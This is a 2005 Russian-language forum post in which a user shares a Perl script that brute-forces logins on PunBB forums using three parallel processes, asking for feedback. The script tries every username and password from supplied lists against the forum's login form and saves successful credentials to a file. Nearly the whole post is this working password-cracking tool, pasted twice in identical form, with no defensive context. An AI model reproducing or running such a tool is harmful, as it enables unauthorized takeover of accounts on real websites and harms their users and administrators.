ShAnKaR
23.08.2005, 20:12
брут идет в три потока, буду рад вашим коментам, исправлениям, критике
#########################################
#!/usr/bin/perl
use LWP;
unless($ARGV[0] && $ARGV[1] && $ARGV[2]){
print("use punbb.pl http://site/forum/ userfile wordlist\n");
exit;};
$url=$ARGV[0];
my $ua = LWP::UserAgent->new(agent=>'Mozilla/4.0 (compatible; Windows 5.1)',timeout=>10);
$userfile=$ARGV[1];
$file=$ARGV[2];
my ($pid,$pid2);
$|=1;
if(($pid=fork()) && ($pid2=fork())){
brut(0,$userfile,$file,$url);
}
elsif($pid && defined($pid2)){
brut(1,$userfile,$file,$url);
}
elsif(defined($pid)){
brut(2,$userfile,$file,$url);
}
else{
die("error fork()\n");
}
sub brut{
$str=shift;
$userfile=shift;
$file=shift;
$url=shift;
open(IN,"<$file") or die("can`t open wordlist\n");
my @arr=<IN>;
close(IN);
open(IN,"<$userfile");
my @ar=<IN>;
close(IN);
$q=$str*$#arr/3;
$q1=($str+1)*$#arr/3;
if($str==2){
splice(@arr,0,$q); }
elsif($str==1){
splice(@arr,0,$q);
splice(@arr,$q1,$#arr); }
elsif($str==0){
splice(@arr,$q1,$#arr); }
print "$str: wordlist loaded\n";
for(my $a=0 ; $a<=$#arr/3 ; $a++){
for($u=0;$u<=$#ar;$u++){
$user=$ar[$u];
$user=~s/\n$//g;
$pass=$arr[$a];
print $str.":".$pass;
$pass=~ s/\n$//;
$req = new HTTP::Request 'POST',$url.'login.php?action=in';
$data='form_sent=1&redirect_url='.$url.'index.php&req_username='.$user.'&req_password='.$pass.'&login=Login';
$req->content_type('application/x-www-form-urlencoded');
$req->content($data);
$res = $ua->request($req);
$content=$res->content;
if($content=~ m/Logged in successfully/gi){
print "######################\n";
print "USER :$user\n"; print "PASS :$pass\n";
print "######################\n";
open(OUT,">>out-punbb.txt");
print OUT $user.":".$pass."\n";
close(OUT);
}}}}
#########################################
#!/usr/bin/perl
use LWP;
unless($ARGV[0] && $ARGV[1] && $ARGV[2]){
print("use punbb.pl http://site/forum/ userfile wordlist\n");
exit;};
$url=$ARGV[0];
my $ua = LWP::UserAgent->new(agent=>'Mozilla/4.0 (compatible; Windows 5.1)',timeout=>10);
$userfile=$ARGV[1];
$file=$ARGV[2];
my ($pid,$pid2);
$|=1;
if(($pid=fork()) && ($pid2=fork())){
brut(0,$userfile,$file,$url);
}
elsif($pid && defined($pid2)){
brut(1,$userfile,$file,$url);
}
elsif(defined($pid)){
brut(2,$userfile,$file,$url);
}
else{
die("error fork()\n");
}
sub brut{
$str=shift;
$userfile=shift;
$file=shift;
$url=shift;
open(IN,"<$file") or die("can`t open wordlist\n");
my @arr=<IN>;
close(IN);
open(IN,"<$userfile");
my @ar=<IN>;
close(IN);
$q=$str*$#arr/3;
$q1=($str+1)*$#arr/3;
if($str==2){
splice(@arr,0,$q); }
elsif($str==1){
splice(@arr,0,$q);
splice(@arr,$q1,$#arr); }
elsif($str==0){
splice(@arr,$q1,$#arr); }
print "$str: wordlist loaded\n";
for(my $a=0 ; $a<=$#arr/3 ; $a++){
for($u=0;$u<=$#ar;$u++){
$user=$ar[$u];
$user=~s/\n$//g;
$pass=$arr[$a];
print $str.":".$pass;
$pass=~ s/\n$//;
$req = new HTTP::Request 'POST',$url.'login.php?action=in';
$data='form_sent=1&redirect_url='.$url.'index.php&req_username='.$user.'&req_password='.$pass.'&login=Login';
$req->content_type('application/x-www-form-urlencoded');
$req->content($data);
$res = $ua->request($req);
$content=$res->content;
if($content=~ m/Logged in successfully/gi){
print "######################\n";
print "USER :$user\n"; print "PASS :$pass\n";
print "######################\n";
open(OUT,">>out-punbb.txt");
print OUT $user.":".$pass."\n";
close(OUT);
}}}}